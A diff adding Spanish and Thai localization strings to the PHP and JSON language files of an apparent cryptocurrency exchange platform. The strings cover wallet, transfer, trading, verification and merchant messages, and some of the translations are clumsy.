"通证转账成功!" => "¡Transferencia de tarjeta de crédito exitosa!",
|
||||
"请输入支付密码" => "Introduzca la contraseña de pago",
|
||||
"无需升级" => "No es necesario actualizar",
|
||||
"暂无钱包" => "Cartera",
|
||||
"升级成功" => "Actualización exitosa",
|
||||
"该地址别人已经绑定过了" => "Esta Dirección ha sido enlazada",
|
||||
"请把参数填写完整" => "Por favor complete los parámetros",
|
||||
"用户已存在" => "El usuario ya existe",
|
||||
"推荐用户不存在" => "El usuario recomendado no existe",
|
||||
"转入账户不能为空" => "La cuenta transferida no puede estar vacía",
|
||||
"密码不能为空" => "La contraseña no puede estar vacía",
|
||||
"转入数量不能为空" => "La cantidad transferida no puede estar vacía",
|
||||
"用户密码错误" => "Error de contraseña de usuario",
|
||||
"转入成功" => "Pasar al éxito",
|
||||
"密码修改成功" => "Contraseña modificada con éxito",
|
||||
"请输入正确的交易数量或价格" => "Introduzca la cantidad o el precio correctos de la transacción",
|
||||
"用户钱包不存在" => "La cartera del usuario no existe",
|
||||
"对不起,您的钱包余额不足" => "Lo siento, su cartera está fuera de balance.",
|
||||
"用户不存在" => "El usuario no existe",
|
||||
"未找到该发布用户" => "Usuario de publicación no encontrado",
|
||||
"检测有未完成交易,请完成后再来!" => "¡Detectar transacciones pendientes, por favor complete de nuevo!",
|
||||
"您的余额不足" => "Su saldo es insuficiente",
|
||||
"用户信息不正确" => "Información incorrecta del usuario",
|
||||
"对不起,这不是您的发布信息" => "Lo siento, esta no es su publicación.",
|
||||
"对不起,您无权撤销此记录" => "Lo siento, no tiene derecho a revocar este registro.",
|
||||
"对不起,您的账户冻结资金不足" => "Lo siento, no hay suficiente dinero congelado en su cuenta.",
|
||||
"取消次数已超出" => "Cancelaciones superadas",
|
||||
'次,明天再发布' => 'tiempos, se publicará mañana',
|
||||
"行" => "Fila",
|
||||
"您今天的取消次数已超出" => "Has cancelado más de una vez hoy.",
|
||||
"次" => "Tiempo",
|
||||
"在" => "En",
|
||||
"购买法币成功,增加法币余额" => "Compra exitosa de moneda francesa, aumento del saldo de moneda francesa",
|
||||
"转账数量不能小于" => "El número de transferencias no puede ser inferior a",
|
||||
"转账数量不能大于" => "El número de transferencias no puede ser mayor que",
|
||||
"解约失败:" => "La rescisión falló:",
|
||||
"操作成功,请联系商家确认订单" => "Operación exitosa, por favor póngase en contacto con el vendedor para confirmar el pedido",
|
||||
"您还没有通过实名认证" => "Aún no ha pasado la autenticación del nombre real",
|
||||
"您还没有设置收款信息" => "Aún no ha establecido la información de recogida",
|
||||
"撤单失败:" => "Fallo de cancelación:",
|
||||
"扣除保证金失败:" => "Fallo al deducir el margen:",
|
||||
"扣除手续费失败:" => "No se pudo deducir la tasa de tramitación:",
|
||||
"手数不能低于" => "El número de manos no debe ser inferior a",
|
||||
"手数不能高于" => "El número de manos no puede ser mayor que",
|
||||
'余额不足,不能小于' => 'Saldo insuficiente, no puede ser inferior a',
|
||||
"(手续费:" => "(cargo de servicio:",
|
||||
"此法币" => "Esta moneda francesa",
|
||||
"请实名认证" => "Por favor, autentifique su nombre real",
|
||||
'最小下单数量不能小于' => 'La cantidad mínima de pedido no puede ser inferior a :micro_min',
|
||||
'申请成功' => 'Solicitud exitosa',
|
||||
'认证成功,请等待审核' => "Enviado con éxito, espere la revisión",
|
||||
'操作失败:您的信用分不足' => 'Operación fallida: su puntaje de crédito es insuficiente source',
|
||||
'操作失败:您有未平仓的交易,操作禁止' => 'Operación fallida: tienes una transacción abierta, la operación está prohibida',
|
||||
'支付通道维护,请更换支付方式' => 'Mantenimiento del canal de pago, cambie el método de pago',
|
||||
'您好,您的账户已被锁定,详情请咨询客服。' => "Hola, su cuenta ha sido bloqueada, comuníquese con el servicio al cliente para obtener más detalles.",
|
||||
'您好,您的资金已被锁定,详情请咨询客服。' => "Hola, sus fondos han sido bloqueados, comuníquese con el servicio al cliente para obtener más detalles.",
|
||||
);
|
||||
@@ -0,0 +1,3 @@
|
||||
{
|
||||
"最小下单数量不能小于": "ปริมาณการสั่งซื้อขั้นต่ำต้องไม่ต่ำกว่า :micro_min"
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
<?php
|
||||
return [
|
||||
'is_lock' => 'ล็อคบัญชี',
|
||||
'unknown' => 'ประเภทที่ไม่รู้จัก',
|
||||
'1' => 'หลังการปรับยอดเงินในบัญชีกองทุน',
|
||||
'2' => 'ยอดเงินล็อคบัญชีกองทุนปรับหลังเวที',
|
||||
'3' => 'หลังการปรับยอดเงินในบัญชีสกุลเงิน',
|
||||
'4' => 'บัญชีสกุลเงินการปรับหลังเวที',
|
||||
'5' => 'ยอดเงินในบัญชีสัญญาการปรับปรุงพื้นหลัง',
|
||||
'6' => 'บัญชีสัญญาการปรับปรุงพื้นหลัง',
|
||||
'7' => 'ยอดเงินในบัญชีตัวเลือกการปรับพื้นหลัง',
|
||||
'8' => 'บัญชีตัวเลือกการปรับหลังเวที',
|
||||
'9' => 'บัญชีกองทุนถูกโอนออกจากบัญชีซื้อขาย',
|
||||
'10' => 'บัญชีธุรกรรมไปยังบัญชีทุน',
|
||||
'11' => 'การโอนเงิน',
|
||||
'12' => 'โอนเงินออก',
|
||||
'13' => 'โอนจากบัญชีสัญญาไปยังบัญชีซื้อขาย',
|
||||
'14' => 'โอนจากบัญชีสัญญาไปยังบัญชีซื้อขาย',
|
||||
'15' => 'บัญชีที่ทำธุรกรรมไปยังบัญชีที่ทำสัญญา',
|
||||
'16' => 'สัญญาโอนบัญชีออกจากบัญชีซื้อขาย',
|
||||
'33' => 'คำเชิญให้คืนค่าคอมมิชชั่น',
|
||||
'99' => 'ผู้ใช้ถอนตัว',
|
||||
'102' => 'ยกเลิกธุรกรรมการซื้อ',
|
||||
'103' => 'ยกเลิกธุรกรรมการขาย',
|
||||
'65' => 'ยอดธุรกรรมของเงินที่โอน',
|
||||
'66' => 'ยอดการทำธุรกรรมของธุรกรรมสกุลเงิน',
|
||||
'67' => 'สัญญาการโอนยอดธุรกรรมตามสัญญา',
|
||||
'206' => 'โอนเข้าสัญญาและลดทุน',
|
||||
'207' => 'โอนเงินเข้าสัญญาแล้ว สัญญาเพิ่มขึ้น',
|
||||
'208' => 'อนุมัติการโอนเงินตามสัญญา, สัญญาลดลง',
|
||||
'209' => 'อนุมัติการโอนเงินตามสัญญา เพิ่มทุน',
|
||||
'210' => 'โอนเงินตามสัญญา, ตรึงมูลค่าการแปลงสัญญา',
|
||||
'211' => 'การโอนเงินตามสัญญา การตรวจสอบล้มเหลวในการยกเลิกการระงับ',
|
||||
'107' => 'การแลกเปลี่ยนโทเค็นเป็น USDT',
|
||||
'37' => 'การแลกเปลี่ยนโทเค็น, การเพิ่มสกุลเงินสัญญา',
|
||||
'212' => 'ประวัติกำไรขาดทุน, เพิ่มสกุลเงินของสัญญา',
|
||||
'105' => 'โทเค็นรางวัล',
|
||||
'106' => 'รางวัลสกุลเงินดิจิทัล',
|
||||
'108' => 'ปรับผ่าน',
|
||||
'38' => 'สมัครเป็นผู้ค้าเพื่อหัก USDT',
|
||||
'39' => 'การแลกเปลี่ยนสินทรัพย์, ลดการถือครองสกุลเงิน',
|
||||
'40' => 'การแลกเปลี่ยนสินทรัพย์ เพิ่มเงิน USDT',
|
||||
'41' => 'เปิดใช้งานบอส',
|
||||
'42' => 'ล็อกการขุด',
|
||||
'43' => 'โอนยอดคงเหลือจากบัญชี BOSS',
|
||||
'44' => 'การล็อกกลับคืน',
|
||||
'45' => 'บันทึกกองทุน DeFi',
|
||||
'51' => 'ธุรกรรมเหรียญ',
|
||||
'50' => 'ธุรกรรมเหรียญถูกระงับ',
|
||||
'100' => 'ถอนสำเร็จ',
|
||||
'101' => 'การถอนล้มเหลว',
|
||||
'700' => 'คำสั่ง IEO',
|
||||
'701' => 'การโอนเหรียญเพิ่มขึ้น',
|
||||
'702' => 'การลดการโอนเหรียญ',
|
||||
'703' => 'ค่าธรรมเนียมการโอนเหรียญ',
|
||||
'704' => 'ล็อกการขุด',
|
||||
'705' => 'รายได้จากการขุด',
|
||||
'706' => 'จำนวนคำสั่งต้องไม่ต่ำกว่า',
|
||||
'1000' => 'ซื้อการบริหารความมั่งคั่งสองสกุลเงิน',
|
||||
'1001' => 'การชำระบัญชีการเงินสองสกุลเงิน',
|
||||
'707' => 'ติดตามการซื้อ - หักส่วนต่าง',
|
||||
'708' => 'ติดตามการซื้อ - หักค่าธรรมเนียมการจัดการ',
|
||||
'1002' => 'ซื้อ NFT',
|
||||
'1003' => 'การประมูลจะหักเงินมัดจำ',
|
||||
'1005' => 'การชำระเงินตามคำสั่งประมูล NFT',
|
||||
'1004' => 'เสนอราคาคืนเงินมัดจำ',
|
||||
'32' => 'หยุดการฝ่าวงล้อม',
|
||||
'35' => 'ค่าธรรมเนียมการทำธุรกรรม',
|
||||
'30' => 'ธุรกรรมตามสัญญาหักส่วนต่าง',
|
||||
];
|
||||
@@ -0,0 +1,329 @@
|
||||
<?php
|
||||
|
||||
return array(
|
||||
|
||||
'退出登录成功' => 'ออกจากระบบเรียบร้อยแล้ว',
|
||||
'电话不能为空' => 'โทรศัพท์ไม่สามารถว่างเปล่าได้',
|
||||
'账号已存在' => 'บัญชีมีอยู่แล้ว',
|
||||
'两次密码不一致' => 'รหัสผ่านทั้งสองไม่สอดคล้องกัน',
|
||||
'用户未找到' => 'ไม่พบชื่อผู้ใช้',
|
||||
'钱包已添加,请勿重复添加' => 'เพิ่มกระเป๋าเงินแล้วโปรดอย่าเพิ่มซ้ำ ๆ',
|
||||
'添加成功' => 'เพิ่มเรียบร้อยแล้ว',
|
||||
'参数错误' => 'ข้อผิดพลาดของพารามิเตอร์',
|
||||
'支付密码错误' => 'รหัสผ่านการชำระเงินไม่ถูกต้อง',
|
||||
'余额不足' => 'ยอดเงินไม่เพียงพอ',
|
||||
'转账至交易所钱包' => 'โอนเงินไปยังกระเป๋าเงินของการแลกเปลี่ยน',
|
||||
'转账成功' => 'โอนสำเร็จ',
|
||||
'找不到用户' => 'ไม่พบชื่อผู้ใช้',
|
||||
'用户钱包未找到' => 'ไม่พบกระเป๋าเงินผู้ใช้',
|
||||
'接收来自交易所的转账' => 'รับโอนจากการแลกเปลี่ยน',
|
||||
'您还没有钱包' => 'คุณไม่มีกระเป๋าสตางค์',
|
||||
'请输入正确的值' => 'กรุณากรอกค่าที่ถูกต้อง',
|
||||
'地址输入有误' => 'กรอกที่อยู่ไม่ถูกต้อง',
|
||||
'地址输入有误1' => 'ที่อยู่ถูกป้อนไม่ถูกต้อง 1',
|
||||
'不能转账给自己' => 'โอนเงินให้ตัวเองไม่ได้',
|
||||
'暂时还没有添加币种' => 'ยังไม่มีการเพิ่มสกุลเงิน',
|
||||
'此币种不存在' => 'สกุลเงินนี้ไม่มีอยู่',
|
||||
'已经有此提币地址' => 'มีที่อยู่สำหรับการถอนเงินนี้แล้ว',
|
||||
'添加提币地址成功' => 'ประสบความสำเร็จในการเพิ่มที่อยู่ถอนเงิน',
|
||||
'此提币地址不存在' => 'ไม่มีที่อยู่ถอนนี้',
|
||||
'您没有权限删除此地址' => 'คุณไม่ได้รับอนุญาตให้ลบที่อยู่นี้',
|
||||
'删除提币地址成功' => 'ลบที่อยู่ถอนสำเร็จ',
|
||||
'输入的金额不能为负数' => 'จำนวนเงินที่ป้อนต้องไม่เป็นตัวเลขติดลบ',
|
||||
'您有正在进行中的杆杠交易,不能进行此操作' => 'คุณมีธุรกรรมเลเวอเรจอย่างต่อเนื่องและไม่สามารถดำเนินการนี้ได้',
|
||||
'钱包不存在' => 'กระเป๋าเงินไม่มีอยู่',
|
||||
'划转成功' => 'โอนสำเร็จ',
|
||||
'币种不存在' => 'ไม่มีสกุลเงิน',
|
||||
'您还没有添加提币地址' => 'คุณยังไม่ได้เพิ่มที่อยู่ถอนเงิน',
|
||||
'数量不能少于最小值' => 'ปริมาณต้องไม่น้อยกว่าขั้นต่ำ',
|
||||
'提币申请已成功,等待审核' => 'การสมัครถอนสำเร็จรอการตรวจสอบ',
|
||||
'类型错误' => 'หมวดหมู่ข้อผิดพลาด',
|
||||
'钱包未找到' => 'ไม่พบกระเป๋าเงิน',
|
||||
'数量不能小于等于0' => 'ปริมาณต้องไม่น้อยกว่าหรือเท่ากับ 0',
|
||||
'价格不能小于等于0' => 'ราคาต้องไม่น้อยกว่าหรือเท่ากับ 0',
|
||||
'参数错误哦' => 'ข้อผิดพลาดของพารามิเตอร์',
|
||||
'数量不足' => 'ปริมาณไม่เพียงพอ',
|
||||
'操作成功' => 'การดำเนินงานที่ประสบความสำเร็จ',
|
||||
'真实姓名必须填写' => 'ต้องกรอกชื่อจริง',
|
||||
'收款信息至少选填一项' => 'กรอกข้อมูลการชำระเงินอย่างน้อยหนึ่งรายการ',
|
||||
'保存成功' => 'บันทึกเรียบร้อยแล้ว',
|
||||
'密码错误' => 'รหัสผ่านผิด',
|
||||
'当前行情小于等于零!' => 'ตลาดปัจจุบันน้อยกว่าหรือเท่ากับศูนย์!',
|
||||
'参数错误!' => 'พารามิเตอร์ผิดพลาด!',
|
||||
'兑换数量大于持有资产!' => 'มูลค่าการแลกเปลี่ยนมากกว่าทรัพย์สินที่ถือครอง!',
|
||||
'资产兑换成功!' => 'การแลกเปลี่ยนสินทรัพย์ประสบความสำเร็จ!',
|
||||
'兑换数量大于剩余数量!' => 'ปริมาณการแลกเปลี่ยนมากกว่าปริมาณที่เหลือ!',
|
||||
'通证兑换成功!' => 'การแลกเปลี่ยนโทเค็นประสบความสำเร็จ!',
|
||||
'必填项信息不完整' => 'ข้อมูลที่จำเป็นไม่สมบูรณ์',
|
||||
'两次输入密码不一致' => 'รหัสผ่านทั้งสองไม่สอดคล้องกัน',
|
||||
'此用户不存在' => 'ไม่มีผู้ใช้รายนี้',
|
||||
'此交易账号已经设置' => 'บัญชีซื้อขายนี้ได้รับการตั้งค่าแล้ว',
|
||||
'此账号已经存在' => 'มีบัญชีนี้อยู่แล้ว',
|
||||
'交易账号设置成功' => 'ตั้งค่าบัญชีซื้อขายเรียบร้อยแล้ว',
|
||||
'验证码错误' => 'รหัสยืนยันผิดพลาด',
|
||||
'手机绑定成功' => 'ผูกโทรศัพท์สำเร็จ',
|
||||
'邮箱绑定成功' => 'ผูกกล่องจดหมายสำเร็จ',
|
||||
'手势密码至少连接6个点' => 'ต้องเชื่อมต่อกับรหัสผ่านท่าทางสัมผัสอย่างน้อย 6 จุด',
|
||||
'两次手势密码不相同' => 'รหัสผ่านท่าทางทั้งสองไม่เหมือนกัน',
|
||||
'手势密码添加成功' => 'เพิ่มรหัสผ่านด้วยท่าทางเรียบร้อยแล้ว',
|
||||
'取消手势密码成功' => 'ยกเลิกรหัสผ่านท่าทางสำเร็จ',
|
||||
'密码只能在6-16位之间' => 'รหัสผ่านต้องมีตัวเลขระหว่าง 6-16 หลักเท่านั้น',
|
||||
'交易密码设置成功' => 'ตั้งรหัสผ่านธุรกรรมสำเร็จแล้ว',
|
||||
'暂时还没有邀请排行榜,快去邀请吧' => 'ยังไม่มีกระดานผู้นำคำเชิญ โปรดไปเชิญ',
|
||||
'会员未找到' => 'ไม่พบสมาชิก',
|
||||
'你已绑定,不可更改!' => 'คุณถูกผูกมัดและไม่สามารถเปลี่ยนแปลงได้!',
|
||||
'该地址已被绑定,请重新输入' => 'ที่อยู่ถูกผูกไว้ กรุณากรอกใหม่',
|
||||
'绑定成功!' => 'การผูกสำเร็จ!',
|
||||
'请提交完整的信息' => 'กรุณากรอกข้อมูลให้ครบถ้วน',
|
||||
'请输入合法的身份证号码' => 'กรุณากรอกเลขประจำตัวประชาชนตามกฎหมาย',
|
||||
'该身份证号已实名认证过!' => 'หมายเลข ID ได้รับการยืนยันด้วยชื่อจริง!',
|
||||
'您已经申请过了' => 'คุณได้สมัครแล้ว',
|
||||
'提交成功,等待审核' => 'ส่งเรียบร้อยรอตรวจทาน',
|
||||
'您还没有交易记录' => 'คุณไม่มีบันทึกการทำธุรกรรม',
|
||||
'非法操作,不能撤回非自己发布的信息' => 'ผิดกฎหมาย ถอนข้อมูลที่ไม่ได้ลงเองไม่ได้',
|
||||
'非法操作:(' => 'การละเมิดการดำเนินการ: (',
|
||||
'取销卖出交易失败' => 'ยกเลิกธุรกรรมการขายล้มเหลว',
|
||||
'取消成功' => 'ยกเลิกสำเร็จ',
|
||||
'非法操作' => 'การละเมิดการดำเนินการ',
|
||||
'数据未找到' => 'ข้อมูลไม่พบ',
|
||||
'请先添加钱包' => 'กรุณาเพิ่มกระเป๋าเงินก่อน',
|
||||
'价格和数量必须大于0' => 'ราคาและปริมาณต้องมากกว่า 0',
|
||||
'您的币不足' => 'เหรียญไม่พอ',
|
||||
'您的冻结资金异常,禁止挂卖' => 'เงินที่ถูกแช่แข็งของคุณมีความผิดปกติและไม่สามารถลงรายการขายได้',
|
||||
'你今天的交易额度已达到上限!' => 'ขีด จำกัด การซื้อขายของคุณวันนี้ถึงขีด จำกัด บนแล้ว!',
|
||||
'系统配置错误,请联系系统管理员' => 'ข้อผิดพลาดในการกำหนดค่าระบบ โปรดติดต่อผู้ดูแลระบบ',
|
||||
'手机号不能为空' => 'ต้องระบุหมายเลขโทรศัพท์',
|
||||
'发送成功' => 'ส่งเรียบร้อย',
|
||||
'账号错误' => 'บัญชีผิดพลาด',
|
||||
'请填写手机号' => 'กรุณากรอกหมายเลขโทรศัพท์ของท่าน',
|
||||
'参数不全' => 'พารามิเตอร์ไม่ครบถ้วน',
|
||||
'服务器空间不支持,请确认支持curl或者fsocket,联系您的空间商解决或者更换空间!' => 'ไม่รองรับพื้นที่เซิร์ฟเวอร์ โปรดยืนยันว่ารองรับ curl หรือ fsocket และติดต่อผู้ให้บริการพื้นที่ของคุณเพื่อแก้ไขหรือเปลี่ยนพื้นที่!',
|
||||
'帐户已过期' => 'บัญชีหมดอายุ',
|
||||
'IP地址限制' => 'ข้อจำกัดที่อยู่ IP',
|
||||
'账号被禁用' => 'บัญชีถูกปิดการใช้งาน',
|
||||
'内容含有敏感词' => 'เนื้อหามีคำที่ละเอียดอ่อน',
|
||||
'ip参数不正确' => 'พารามิเตอร์ ip ไม่ถูกต้อง',
|
||||
'邮箱不能为空' => 'อีเมลต้องไม่ว่างเปล่า',
|
||||
'操作错误' => 'ข้อผิดพลาดในการทำงาน',
|
||||
'无此币种' => 'ไม่มีสกุลเงินดังกล่าว',
|
||||
'该币不是法币' => 'สกุลเงินไม่ใช่สกุลเงินที่ถูกกฎหมาย',
|
||||
'用户名不能为空' => 'ต้องระบุชื่อผู้ใช้',
|
||||
'名称不能为空' => 'ต้องระบุชื่อ',
|
||||
'资产不能为空' => 'เนื้อหาต้องไม่ว่างเปล่า',
|
||||
'找不到此交易账号的用户' => 'ไม่พบผู้ใช้ที่มีบัญชีซื้อขายนี้',
|
||||
'此用户还未通过实名认证' => 'ผู้ใช้รายนี้ยังไม่ผ่านการพิสูจน์ตัวตนด้วยชื่อจริง',
|
||||
'此用户已是此法币商家' => 'ผู้ใช้รายนี้เป็นผู้ค้าสกุลเงิน fiat นี้อยู่แล้ว',
|
||||
'新闻不存在' => 'ข่าวไม่มีอยู่จริง',
|
||||
'下单失败:超过最大持仓笔数限制' => 'ล้มเหลวในการสั่งซื้อ: เกินขีดจำกัดของจำนวนตำแหน่งสูงสุด',
|
||||
'当前未获取到行情' => 'ขณะนี้ยังไม่มีตลาด',
|
||||
'尚未申购或理赔保险' => 'ยังไม่สมัครหรือเคลมประกัน',
|
||||
'申购的保险T+1生效' => 'ประกันที่ซื้อ T+1 มีผล',
|
||||
'受保资产为零' => 'สินทรัพย์ประกันศูนย์',
|
||||
'受保资产小于等于可下单条件' => 'ทรัพย์สินที่เอาประกันภัยน้อยกว่าหรือเท่ากับเงื่อนไขที่วางไว้ได้',
|
||||
'您已超过持仓限制,暂停下单。' => 'คุณได้เกินขีดจำกัดตำแหน่งและคำสั่งถูกระงับ',
|
||||
'未知的险种类型' => 'ไม่ทราบประเภทประกัน',
|
||||
'超过最大持仓数量限制' => 'เกินจำนวนตำแหน่งสูงสุดที่จำกัดไว้',
|
||||
'交易中的订单大于最大挂单数量' => 'คำสั่งซื้อในการทำธุรกรรมมากกว่าจำนวนคำสั่งซื้อที่รอดำเนินการสูงสุด',
|
||||
'请输入账号' => 'กรุณาใส่ชื่อผู้ใช้',
|
||||
'请输入密码' => 'กรุณาใส่รหัสผ่าน',
|
||||
'手势密码错误' => 'ข้อผิดพลาดเกี่ยวกับรหัสผ่านด้วยท่าทางสัมผัส',
|
||||
'请填写正确的邀请码' => 'กรุณากรอกรหัสเชิญที่ถูกต้อง',
|
||||
'注册成功' => 'ลงทะเบียนสำเร็จ',
|
||||
'请输入密码或确认密码' => 'กรุณาใส่รหัสผ่านหรือยืนยันรหัสผ่าน',
|
||||
'输入两次密码不一致' => 'รหัสผ่านทั้งสองไม่สอดคล้องกัน',
|
||||
'账号不存在' => 'บัญชีไม่มีอยู่',
|
||||
'验证码不正确' => 'รหัสยืนยันไม่ถูกต้อง',
|
||||
'修改密码成功' => 'เปลี่ยนรหัสผ่านสำเร็จ',
|
||||
'请输入验证码' => 'กรุณาใส่รหัสยืนยัน',
|
||||
'验证成功' => 'ยืนยันเรียบร้อยแล้ว',
|
||||
'父级不存在' => 'ผู้ใช้ที่เหนือกว่าไม่มีอยู่จริง',
|
||||
'请重试' => 'กรุณาลองอีกครั้ง',
|
||||
'参数错误:(' => 'ข้อผิดพลาดของพารามิเตอร์ :(',
|
||||
'缺少参数或传值错误' => 'ไม่มีพารามิเตอร์หรือค่าที่ไม่ถูกต้อง',
|
||||
'指定交易对不存在' => 'ไม่มีคู่การซื้อขายที่ระบุ',
|
||||
'您未开通本交易对的交易功能' => 'คุณยังไม่ได้เปิดใช้งานฟังก์ชั่นการซื้อขายของคู่การซื้อขายนี้',
|
||||
'手数必须是大于0的整数' => 'ขนาดล็อตต้องเป็นจำนวนเต็มที่มากกว่า 0',
|
||||
'选择倍数不在系统范围' => 'ตัวคูณที่เลือกไม่อยู่ในขอบเขตระบบ',
|
||||
'您有正在平仓中的交易,暂不能进行买卖' => 'คุณมีธุรกรรมที่อยู่ระหว่างการปิดโพซิชั่นของคุณ และคุณไม่สามารถซื้อหรือขายได้ชั่วคราว',
|
||||
'交易类型错误' => 'ประเภทธุรกรรมที่ไม่ถูกต้อง',
|
||||
'该功能暂未开放' => 'ฟีเจอร์นี้ยังไม่เปิด',
|
||||
'限价交易价格必须大于0' => 'ราคาธุรกรรมขีดจำกัดต้องมากกว่า 0',
|
||||
'当前没有获取到行情价格,请稍后重试' => 'ไม่พบราคาตลาดในขณะนี้ โปรดลองอีกครั้งในภายหลัง',
|
||||
'限价交易卖出不能低于当前价' => 'จำกัดการซื้อขายไม่สามารถขายได้ต่ำกว่าราคาปัจจุบัน',
|
||||
'限价交易买入价格不能高于当前价' => 'ราคาซื้อของธุรกรรมจำกัดต้องไม่สูงกว่าราคาปัจจุบัน',
|
||||
'钱包未找到,请先添加钱包' => 'ไม่พบกระเป๋าเงิน โปรดเพิ่มกระเป๋าเงินก่อน',
|
||||
'提交失败' => 'ส่งไม่สำเร็จ',
|
||||
'提交成功' => 'ส่งเรียบร้อยแล้ว',
|
||||
'此功能系统未开放' => 'ระบบฟีเจอร์นี้ไม่เปิด',
|
||||
'止盈止损价格不能为0' => 'ราคาหยุดกำไรและหยุดการขาดทุนต้องไม่เป็น 0',
|
||||
'找不到该笔交易' => 'ไม่พบธุรกรรม',
|
||||
'买入(做多)止盈价不能低于开仓价和当前价' => 'ราคาซื้อ (long) take profit จะต้องไม่ต่ำกว่าราคาเปิดและราคาปัจจุบัน',
|
||||
'买入(做多)止亏价不能高于开仓价和当前价' => 'ซื้อ (go long) ราคา stop loss ไม่สามารถสูงกว่าราคาเปิดและราคาปัจจุบันได้',
|
||||
'卖出(做空)止盈价不能高于开仓价和当前价' => 'ราคาขาย (short) take profit จะต้องไม่เกินราคาเปิดและราคาปัจจุบัน',
|
||||
'卖出(做空)止亏价不能低于开仓价和当前价' => 'ขาย (short) ราคา stop loss จะต้องไม่ต่ำกว่าราคาเปิดและราคาปัจจุบัน',
|
||||
'设置成功' => 'ตั้งค่าสำเร็จ',
|
||||
'设置失败' => 'การติดตั้งล้มเหลว',
|
||||
'无权操作' => 'ไม่มีสิทธิ์ดำเนินงาน',
|
||||
'交易状态异常,请勿重复提交' => 'สถานะการทำธุรกรรมผิดปกติ กรุณาอย่าส่งซ้ำ',
|
||||
'平仓失败,请重试' => 'ปิดตำแหน่งไม่สำเร็จ โปรดลองอีกครั้ง',
|
||||
'买入方向传参错误' => 'พารามิเตอร์ที่ไม่ถูกต้องส่งผ่านในทิศทางการซื้อ',
|
||||
'提交成功,请等待系统处理' => 'ส่งเรียบร้อยแล้ว กรุณารอระบบดำเนินการ',
|
||||
'未找到需要平仓的交易' => 'ไม่พบธุรกรรมที่ต้องการปิด',
|
||||
'交易不存在或已撤单,请刷新后重试' => 'ไม่มีธุรกรรมนี้ หรือคำสั่งซื้อถูกยกเลิก โปรดรีเฟรชแล้วลองอีกครั้ง',
|
||||
'撤单失败:用户钱包不存在' => 'ไม่สามารถยกเลิกคำสั่งซื้อ: ไม่มีกระเป๋าเงินผู้ใช้',
|
||||
'撤单失败:变更状态失败' => 'ล้มเหลวในการยกเลิกคำสั่งซื้อ: ไม่สามารถเปลี่ยนสถานะ',
|
||||
'撤单成功' => 'ยกเลิกสำเร็จ',
|
||||
'订单取消成功' => 'คำสั่งซื้อถูกยกเลิกเรียบร้อยแล้ว',
|
||||
'请选择需求类型' => 'กรุณาเลือกประเภทความต้องการ',
|
||||
'请选择交易方式' => 'กรุณาเลือกวิธีการทำธุรกรรม',
|
||||
'请填写单价' => 'กรุณากรอกราคาต่อหน่วย',
|
||||
'请填写数量' => 'กรุณากรอกปริมาณ',
|
||||
'请填写最小交易数量' => 'กรุณากรอกจำนวนการทำธุรกรรมขั้นต่ำ',
|
||||
'请选择币种' => 'กรุณาเลือกสกุลเงิน',
|
||||
'最小交易数量不能大于总数量' => 'ปริมาณธุรกรรมขั้นต่ำต้องไม่เกินปริมาณรวม',
|
||||
'请填写最大交易量' => 'กรุณากรอกปริมาณการทำธุรกรรมสูงสุด',
|
||||
'请填写正确的最大交易量' => 'กรุณากรอกปริมาณธุรกรรมสูงสุดที่ถูกต้อง',
|
||||
'对不起,您不是该法币的商家' => 'ขออภัย คุณไม่ใช่ผู้ค้าของสกุลเงินคำสั่ง',
|
||||
'对不起,您的商家账户不足' => 'ขออภัย บัญชีร้านค้าของคุณไม่เพียงพอ',
|
||||
'发布成功' => 'ประสบความสำเร็จ',
|
||||
'无此商家' => 'ไม่มีร้านดังกล่าว',
|
||||
'参数错误2' => 'พารามิเตอร์ผิดพลาด2',
|
||||
'无此记录' => 'ไม่มีบันทึกดังกล่าว',
|
||||
'购买参数错误' => 'ซื้อพารามิเตอร์ผิดพลาด',
|
||||
'请填写购买额' => 'กรุณากรอกจำนวนเงินที่ซื้อ',
|
||||
'购买额请填写数字' => 'กรุณากรอกหมายเลขสำหรับยอดซื้อ',
|
||||
'未完成单子超过3单,请完成后再操作!' => 'มีคำสั่งซื้อที่ยังไม่เสร็จมากกว่า 3 รายการ โปรดกรอกให้เสร็จก่อนดำเนินการ!',
|
||||
'此条交易已完成' => 'ธุรกรรมนี้เสร็จสมบูรณ์แล้ว',
|
||||
'非法提交,数量必须大于0' => 'การยื่นแบบไม่ถูกต้อง ปริมาณต้องมากกว่า 0',
|
||||
'您低于最低限额' => 'คุณอยู่ต่ำกว่าขั้นต่ำ',
|
||||
'您高于最高限额' => 'คุณอยู่เกินขีดจำกัดสูงสุด',
|
||||
'您高于最大限制数量' => 'คุณอยู่เกินขีดจำกัดสูงสุด',
|
||||
'未找到该商家' => 'ไม่พบธุรกิจ',
|
||||
'不能操作自己的' => 'ไม่สามารถดำเนินการเองได้',
|
||||
'您无此钱包账号' => 'คุณไม่มีบัญชีกระเป๋าเงินนี้',
|
||||
'您的钱包已被锁定,请联系管理员' => 'กระเป๋าเงินของคุณถูกล็อค โปรดติดต่อผู้ดูแลระบบ',
|
||||
'您的法币余额不足' => 'ยอดเงินในสกุลเงินของคุณไม่เพียงพอ',
|
||||
'您的法币冻结资金异常,请查看您是否有正在进行的挂单' => 'เงิน fiat แช่แข็งของคุณมีความผิดปกติ โปรดตรวจสอบว่าคุณมีคำสั่งซื้อที่รอดำเนินการอยู่หรือไม่',
|
||||
'您出售数量大于商家剩余数量!' => 'ปริมาณที่คุณขายมากกว่าปริมาณที่เหลืออยู่ของผู้ค้า!',
|
||||
'您购买数量大于商家剩余数量!' => 'ปริมาณการซื้อของคุณมากกว่าปริมาณที่เหลือของผู้ค้า!',
|
||||
'您不是此币商家' => 'คุณไม่ใช่ผู้ค้าสกุลเงินนี้',
|
||||
'该订单已操作过,请勿重复操作' => 'มีการดำเนินการตามคำสั่งซื้อแล้ว โปรดอย่าดำเนินการซ้ำ',
|
||||
'对不起,您无权操作' => 'ขออภัย คุณไม่ได้รับอนุญาตให้ดำเนินการ',
|
||||
'操作成功,请联系卖家确认' => 'ดำเนินการเสร็จเรียบร้อยแล้ว โปรดติดต่อผู้ขายเพื่อยืนยัน',
|
||||
'该订单已操作,请勿取消' => 'คำสั่งซื้อได้รับการประมวลผลแล้ว โปรดอย่ายกเลิก',
|
||||
'操作成功,订单已取消' => 'ดำเนินการสำเร็จ คำสั่งถูกยกเลิก',
|
||||
'对不起您不是商家' => 'ขออภัยคุณไม่ใช่ธุรกิจ',
|
||||
'对不起,您不是该商家' => 'ขออภัยคุณไม่ใช่ร้านค้า',
|
||||
